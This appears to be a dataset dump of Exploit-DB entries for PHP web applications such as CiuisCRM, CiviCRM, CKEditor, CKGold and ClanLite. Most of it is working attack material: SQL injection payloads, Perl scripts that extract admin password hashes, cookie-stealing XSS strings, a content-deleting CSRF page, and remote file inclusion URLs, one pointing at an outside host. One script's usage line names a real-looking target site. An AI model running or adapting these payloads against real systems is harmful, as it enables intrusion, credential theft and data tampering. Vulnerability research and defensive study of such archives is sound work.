deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43347
Description: Ciuis CRM 1.0.7 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-18
Author: Zahid Abbasi

Exploit:
# Exploit Title: [Ciuis CRM v 1.0.7 Sql Injection]
# Google Dork: [if applicable]
# Date: [12/15/2017]
# Exploit Author: [Zahid Abbasi]
# Contact: http://twitter.com/zahidsec
# Website: http://zahidabbasi.com
# Vendor Homepage: [http://ciuis.com/]
# Software Link: [https://codecanyon.net/item/ciuis-crm/20473489]
# Version: [1.0.7] (REQUIRED)
# Tested on: [Win 7 64-bit]
# CVE : [if applicable]

1. Description

The injection required user registration on CIUS CRM. Old versions have 
not been tested but it's a guess, they are also vulnerable.
The URL path filename appears to be vulnerable to SQL injection attacks.
The payload 65079277 or 7647=07647 was submitted in the URL path 
filename, and a database error message was returned.
You should review the contents of the error message, and the 
application's handling of other input, to confirm whether a 
vulnerability is present.

2. Proof of Concept

The live testing was done on demo site of the script.
https://ciuis.com/demo/accounts/account/4 [URL path filename]
Request:-
GET /demo/accounts/account/465079277%20or%207647%3d07647 HTTP/1.1
Host: ciuis.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) 
Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: ci_session=98b5ef21cb2d123fb376f[PII_REDACTED]6808fbec
Connection: close
Upgrade-Insecure-Requests: 1
Response:-
After placing our injection code and forwarding the request. The html 
response is posted below.
<div id="container">
        <h1>A Database Error Occurred</h1>
        <p>Error Number: 1064</p><p>You have an error in your SQL syntax; 
check the manual that corresponds to your MariaDB server version for the 
right syntax to use near 'and `transactiontype` =0)' at line 
3</p><p>SELECT SUM(`amount`) AS `amount`
--
Exploit-DB #47046
Description: CiuisCRM 1.6 - 'eventType' SQL Injection
Type: webapps
Platform: php
Date: 2019-07-01
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: CiuisCRM 1.6 - 'eventType' SQL Inj.
# Dork: N/A
# Date: 27-05-2019
# Exploit Author: Mehmet EMİROĞLU
# Vendor Homepage: https://codecanyon.net/item/ciuis-crm/20473489
# Software Link: https://codecanyon.net/item/ciuis-crm/20473489
# Version: v1.6
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Ciuis CRM you can easily manage your customer relationships and save time on your business.
===========================================================================================
# POC - SQLi
# Parameters : eventType
# Attack Pattern :
-1+or+1%3d1+and(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)
# POST Method : http://localhost/ciuiscrm-16/calendar/addevent
===========================================================================================
Exploit-DB #35327
Description: CiviCRM 3.3.3 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-08
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46275/info

CiviCRM is prone to multiple cross-site scripting vulnerabilities because they fail to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary HTML and script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

CiviCRM 3.3.3. is vulnerable; prior versions may also be affected. 

Drupal:

http://www.example.com/drupal-6.20/sites/all/modules/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?defaultPath=%3Cscript%3Ealert(0)%3C/script%3E

http://www.example.com/drupal-6.20/sites/all/modules/civicrm/packages/amfphp/browser/code.php?class=%3Cscript%3Ealert(0)%3C/script%3E

http://www.example.com/drupal-6.20/sites/all/modules/civicrm/packages/amfphp/browser/details.php?class=<script>alert(0)</script>

http://www.example.com/drupal-6.20/sites/all/modules/civicrm/packages/amfphp/browser/methodTable.php?class=%3Cscript%3Ealert(0)%3C/script%3E


Joomla:

http://www.example.com/joomla/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?defaultPath=%3Cscript%3Ealert(0)%3C/script%3E

http://www.example.com/joomla/administrator/components/com_civicrm/civicrm/packages/amfphp/browser/methodTable.php?class=%3Cscript%3Ealert(0)%3C/script%3E

http://www.example.com/joomla/administrator/components/com_civicrm/civicrm/packages/PHPgettext/examples/pigs_dropin.php?lang=0%3Cscript%3Ealert(0)%3C/script%3E

http://www.example.com/joomla/administrator/components/com_civicrm/civicrm/packages/PHPgettext/examples/pigs_fallback.php?lang=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #51478
Description: CiviCRM 5.59.alpha1 - Stored XSS (Cross-Site Scripting)
Type: webapps
Platform: php
Date: 2023-05-23
Author: Andrea Intilangelo

Exploit:
# Exploit Title: CiviCRM 5.59.alpha1 - Stored XSS (Cross-Site Scripting)
# Date: 2023-02-02
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://civicrm.org
# Software Link: https://civicrm.org/download
# Version: 5.59.alpha1, 5.58.0 (and earlier), 5.57.3 (and earlier)
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 109.0.1, Microsoft Edge 109.0.1518.70)
# CVE: CVE-2023-25440 
Vendor Security Advisory: CIVI-SA-2023-05


Description:

A stored cross-site scripting (XSS) vulnerability in CiviCRM 5.59.alpha1 allows attacker to execute arbitrary web
scripts or HTML.

Injecting persistent javascript code inside the "Add Contact" function while creating a contact, in first/second name
field, it will be triggered once page gets loaded.


Steps to reproduce:

- Quick Add contact to CiviCRM,
- Insert a payload PoC inside the field(s)
- Click on 'Add contact'.

If a user visits the dashboard, as well as "Recently added" box, the javascript code will be rendered.
Exploit-DB #34749
Description: CJ Dynamic Poll Pro 2.0 - 'admin_index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-21
Author: Moudi

Exploit:
source: www.securityfocus.com/bid/43498/info

CJ Dynamic Poll Pro is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

CJ Dynamic Poll Pro 2.0 is vulnerable; other versions may be affected. 

http://www.example.com/cjdynamicpollprov2/admin/admin_index.php/"><script>alert(document.cookie);</script>
Exploit-DB #25623
Description: CJ Ultra Plus 1.0.3/1.0.4 - 'OUT.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-05-06
Author: Kold

Exploit:
source: https://www.securityfocus.com/bid/13533/info

CJ Ultra Plus is prone to an SQL injection vulnerability.

This issue affects the 'out.php' script and could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks. 

/out.php?url=sad&perm=[PII_REDACTED][PII_REDACTED]333333332'%20UNION%20SELECT%20b12,b12%20FROM%20settings%20INTO%20OUTFILE%20'/path/to/ur/dir/x.txt/*
Exploit-DB #6536
Description: CJ Ultra Plus 1.0.4 - Cookie SQL Injection
Type: webapps
Platform: php
Date: 2008-09-22
Author: -SmoG-

Exploit:
#!/usr/bin/perl
#
#	CJ Ultra Plus <= v1.0.4 Cookie SQL Injection
#
#	found and coded by -SmoG-  /\GermAn hAckZ0r
#	contact: ICQ - 266836394
# 
#	
#	
#
#	hints:	- sometimes the parameter "SID" is different to the normal one... 
#			- i extract the hash from the html-code... but i was 2 lazy for coding a good working filter
#			- salted DES (normaly "aa" will be the salt, but it can be different)
#			- ive spend about 1 hour for this source... its my first exploit in perl... so plz be friendly with ur feedback...
#
#
#			>>> GretzZz 2: pronoobz.org - Wesker, China Sun and all other memberZz <<<

use LWP::UserAgent;
 
if ($#ARGV+1 !=1) {
print "\n### CJ Ultra Plus <= v1.0.4 Cookie SQL Injection Exploit###\n";
print "found and coded by -SmoG-\n";
print "\n\nUsage: perl xploit.pl -victim\n";
print "       perl xploit.pl http://gayxboy.com/\n\n";				#LiVe-Dem0! letZz pwnz the pedophile!!
exit();
}
print "\n### CJ Ultra Plus <= v1.0.4 Cookie SQL Injection Exploit###\n";
print "\nstarting exploit...";
$target=$ARGV[0];
chomp($target);
if($target !~ /^http:\/\//)
{
	$target = "http://".$target;
}
if($target !~ /\/$/)
{
	$target .= "/";
}
@header = ('Cookie' => "SID='UNION SELECT b12 from settings/*");
$ua = LWP::UserAgent->new;
$ua->timeout(10);
$ua->env_proxy;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
$response = $ua->get($target, @header);
if ($response->is_success)
{
$temp = $response->content;
if ($temp =~/(.*)SID=(.*);/)
	{
	$result=substr($temp,85,13); 
	print "\n\adminhash: "; print $result;
	}
}
else
{
 die "Error: ".$response->status_line;
}

# milw0rm.com [2008-09-22]
Exploit-DB #3915
Description: CJG EXPLORER PRO 3.2 - 'g_pcltar_lib_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-13
Author: Mogatil

Exploit:
#######################S==A==U==D==I#########################

CJG EXPLORER PRO v3.2 (pcltar.lib.php)(pcltrace.lib.php) Remote File
Include Vulnerabilities

##############################################################

Found By : Mogatil , jjl@hotmail.com

##############################################################

Script Site :
http://www.zascom.com/download/PHP/1868-CEP-PHP.ZIP
##############################################################
File : /pcltar.lib.php
include($g_pcltar_lib_dir."/pclerror.lib.php");

File : /pcltrace.lib.php
include($g_pcltar_lib_dir."/pclerror.lib.php");



##############################################################

Thanx: [cold zero] [gawey Al Azary] [crazy man] [scorbion_22]
[the_muslim_sniper]

##############################################################

Exploit :[Path]cep/lib/pcltar.lib.php?g_pcltar_lib_dir=shell

Exploit :[Path]cep/lib/pcltrace.lib.php?g_pcltar_lib_dir=shell

##############################################################

# milw0rm.com [2007-05-13]
Exploit-DB #38322
Description: CKEditor - 'posteddata.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-02-19
Author: AkaStep

Exploit:
source: https://www.securityfocus.com/bid/58045/info

CKEditor is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

CKEditor 4.0.1 is vulnerable; other versions may also be affected.

<body onload="javascript:document.forms[0].submit()">
<form name="form1" method="post" action="http://www.example.com/admin/ckeditor/samples/sample_posteddata.php" enctype="multipart/form-data">
<input type="hidden" name="<script>alert('AkaStep');</script>" id="fupl" value="SENDF"></li>
</form>
Exploit-DB #50021
Description: CKEditor 3 - Server-Side Request Forgery (SSRF)
Type: webapps
Platform: php
Date: 2021-06-16
Author: ahmed

Exploit:
# Exploit Title: CKEditor 3 - Server-Side Request Forgery (SSRF)
# Google Dorks : inurl /editor/filemanager/connectors/uploadtest.html
# Date: 12-6-2021
# Exploit Author: Blackangel
# Software Link: https://ckeditor.com/
# Version:all version under 4 (1,2,3)
# Tested on: windows 7

Steps of Exploit:-

1-using google dorks

inurl /editor/filemanager/connectors/uploadtest.html

2-after going to vulnerable page you will find filed “Custom Uploader URL: ”

3-right click then choose inspect element, click on pick an element from
the page , select field Custom Uploader URL:

4-in elements “<input id=”txtCustomUrl” style=”WIDTH: 100%;
BACKGROUND-COLOR: #dcdcdc” disabled=”” type=”text”>”

delete disabled=””

5-now you can put url start with any protocal

6-send it to the server as you see website that you have entered link

is appear into page .

what this mean??!!1

you send request to server using vulnerable website

you can said i used it as proxy

hackers >>> vulnerable website >>> http:/xx.com

so in http://xx.com logs requests come from vulnerable website

impact:-

1-that allows an attacker to induce the server-side application to make
HTTP requests to an arbitrary domain of the attacker’s choosing. if there
is big company use old version hackers can send request via there websites
and this not good for reputation of company

2-put big company website in blacklist of websites cause i hackers can send
many of request via vulnerable website

Mitigation:-

Remove the uploadtest.html file as it is not used by the application.
Exploit-DB #51260
Description: CKEditor 5 35.4.0 - Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-05
Author: Manish Pathak

Exploit:
# Exploit Title: CKEditor 5 35.4.0 - Cross-Site Scripting (XSS)
# Google Dork: N/A
# Date: February 09, 2023
# Exploit Author: Manish Pathak
# Vendor Homepage: https://cksource.com/
# Software Link: https://ckeditor.com/ckeditor-5/download/
# Version: 35.4.0
# Tested on: Linux / Web
# CVE : CVE-2022-48110



CKSource CKEditor5 35.4.0 was discovered to contain a cross-site scripting (XSS) vulnerability via Full Featured CKEditor5 Widget as the editor fails to sanitize user provided data.

An attacker can execute arbitrary script in the browser in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

CKEditor5 version 35.4.0 is tested & found to be vulnerable.

Documentation avaiable at https://ckeditor.com/docs/ckeditor5/latest/features/html-embed.html#security

Security Docs Says """The HTML embed feature does not currently execute code in <script> tags. However, it will execute code in the on* and src="javascript:..." attributes."""



Payload:

<div class="raw-html-embed">
    <script>alert(456)</script>
</div>
Exploit-DB #4349
Description: CKGold Shopping Cart 2.0 - 'category.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-08-31
Author: k1tk4t

Exploit:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[4])
{
 print "\n  |-------------------------------------------------|";
 print "\n  |                newhack[dot]org                  |";
 print "\n  |-------------------------------------------------|";
 print "\n  |  CKGold Shopping Cart v2.0 Blind SQL Injection  |";
 print "\n  |          Found by k1tk4t - Indonesia            |";
 print "\n  |   DNX Code  dnx[at]hackermail.com | Modified    |";
 print "\n  |-------------------------------------------------|";
 print "\n[!] Vendor: http://www.cartkeeper.com";
 print "\n[!] Usage: perl CKGold.pl [Host] [Path] <Options>";
 print "\n[!] Example: perl CKGold.pl 127.0.0.1 /shop/ -m 1 -c 10 -t tbl_system";
 print "\n[!] Options:";
 print "\n       -m [no]       Valid manufacturer_id";
 print "\n       -c [no]       Valid category_id";
 print "\n       -t [name]     Changes the system table name, default is tbl_system";
 print "\n       -p [ip:port]  Proxy support";
 print "\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $mfr     = $ARGV[2];
my $cat     = $ARGV[3];
my $table   = "tbl_system";
my %options = ();
GetOptions(\%options, "m=i", "c=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"m"}) { $mfr = $options{"m"}; }
if($options{"c"}) { $cat = $options{"c"}; }
if($options{"t"}) { $table = $options{"t"}; }

syswrite(STDOUT, "[!] Admin Password : ", 21);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found && $h <= 57)
 {
   if(istrue2($host, $path, $table, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found && $h <= 122)
   {
     if(istrue2($host, $path, $table, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[!] Exploit done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $table = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = "http://".$host.$path."category.php?manufacturer_id=".$mfr."&category_id=".$cat."%20AND%20SUBSTRING((SELECT%20admin_password%20FROM%20".$table."%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = "<th>Products</th>";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}

# milw0rm.com [2007-08-31]
Exploit-DB #5678
Description: CKGold Shopping Cart 2.5 - 'category_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-27
Author: Cr@zy_King

Exploit:
Cr@zy_King / crazy_kinq@hotmail.co.uk

CKGold Shopping Cart 2.5 (category_id) SQL Injection Vulnerability

Script page : http://cartkeeper.com

Demo Page : http://ckgold.cartkeeper.com

Commercial License Price: $99.00
Commercial License Price: $79.95  :|

http://localhost/item.php?item_id=-1&category_id=Sql

Sql : 27+group+by+tbl_item.item_id+union+select+1,version(),3,user()/*

Greatz : aLL My Friendz & Coderx & Code Hunters & str0ke

-------

# milw0rm.com [2008-05-27]
Exploit-DB #11780
Description: Clain_TIger_CMS - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-03-17
Author: pratul agrawal

Exploit:
=======================================================================
   
                   Clain_TIger_CMS CSRF Vulnerability
 
                                =======================================================================

  # Vulnerability found in- Admin module
  # email         Pratulag@yahoo.com
  # company       aksitservices
  # Credit by     Pratul Agrawal
  # Software      Clan Tiger_CMS
  # Category  	  CMS / Portals
  # Site p4ge     http://server/clantiger/index.php?module=login
  # Greetz to     Gaurav, Prateek, Vivek, Sanjay, Sourabh, Varun (My Web Team)
  
   
   
  #  Proof of concept   #
 
  Targeted URL:  http://servername/clantiger/
  
 
   Script to Delete the News content through Cross Site request forgery
   
             .  ................................................................................................................
   
                        <html>
 
                          <body>
 
                              <img src=http://server/clantiger/index.php?module=news&action=remove&id=[user ID] />
 
                          </body>
 
                        </html>
   
             .  ..................................................................................................................
   
   
   
  After execution refresh the page and u can see that a added content is deleted automatically.
Exploit-DB #28838
Description: ClanLite - 'conf-php.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-23
Author: x_w0x

Exploit:
source: https://www.securityfocus.com/bid/20672/info

ClanLite is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/[path]/conf-php.php?root_path=http://www.example2.com/DarknesseScript.txt
Exploit-DB #5595
Description: ClanLite 2.x - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-12
Author: ZoRLu

Exploit:
########## CANAKKALE GECiLMEZ  yildirimordulari.org z0rlu.ownspace.org ##############################

ClanLite V2 SQL inj. & XSS

dork: CrÃ©Ã© par Narfight, ClanLite V2.2006.05.20 Â© 2000-2005

dork: Themed By Ray Â© 2003, 2004 iOptional 

readme script

/****************************************************************************
 *	Fichier		: 															*
 *	Copyright	: (C) 2004 ClanLite V2											*
 *	Email		: support@clanlite.org										*
 *																			*
 *   This program is free software; you can redistribute it and/or modify	*
 *   it under the terms of the GNU General Public License as published by	*
 *   the Free Software Foundation; either version 2 of the License, or		*
 *   (at your option) any later version.									*
 ***************************************************************************/
   
 author: ZoRLu 

   home: ( yildirimordulari.org ) ( z0rlu.ownspace.org ) ( milw0rm.org ) ( r00tsecurity.org ) ( securityfocus.com ) 

contact: trt-turk@hotmail.com & ZoRLu@w.cn ( baska msn yok taklitlerden kacInIn )

    Not: msn i ekleyipte densiz densiz konusanIn sulalesini cumle alem .... La benden keylog isyetesiniz diye vermiyorum msn i. sacmalamayIn da  :((

    Not: http://www.z0rlu.ownspace.org   acIklarIn kullanImI ile ilgili bilgiler blogumda mevcut! naparsIn para yokk free actIk :))

########## CANAKKALE GECiLMEZ  yildirimordulari.org z0rlu.ownspace.org ##############################

http://localhost/clanlite_path/service/profil.php?link=[SQL]


[SQL]=

ZoRLu'/**/union/**/select/**/null,null,mail,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,concat(user,0x3a,psw),null,null,null/**/from/**/clanlite_user/*


[XSS]=

http://localhost/clanlite/service/calendrier.php?mois=6&annee="><script>alert(document.cookie)</script>


########## CANAKKALE GECiLMEZ  yildirimordulari.org z0rlu.ownspace.org ##############################

thanx: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, bLaCk, aRKi, the_KaM!L, ReD_KaN, iSoMiX, edish, harded, z3h!r, KoDLoK, Dr.SaLTuK,

kasIrga(lavrens), w3R3m, avkidis, head_hunter and all users yildirimordulari.org & r00tsecurity.org

O Simdi Komando: iSoMiX ( CanImsIn Kardesim, KanKam Benim :))  )

Efsane: YILDIRIMORDULARI.ORG

Dersler BasladI Sanal Bitti  :(((

########## CANAKKALE GECiLMEZ  yildirimordulari.org z0rlu.ownspace.org ##############################

# milw0rm.com [2008-05-12]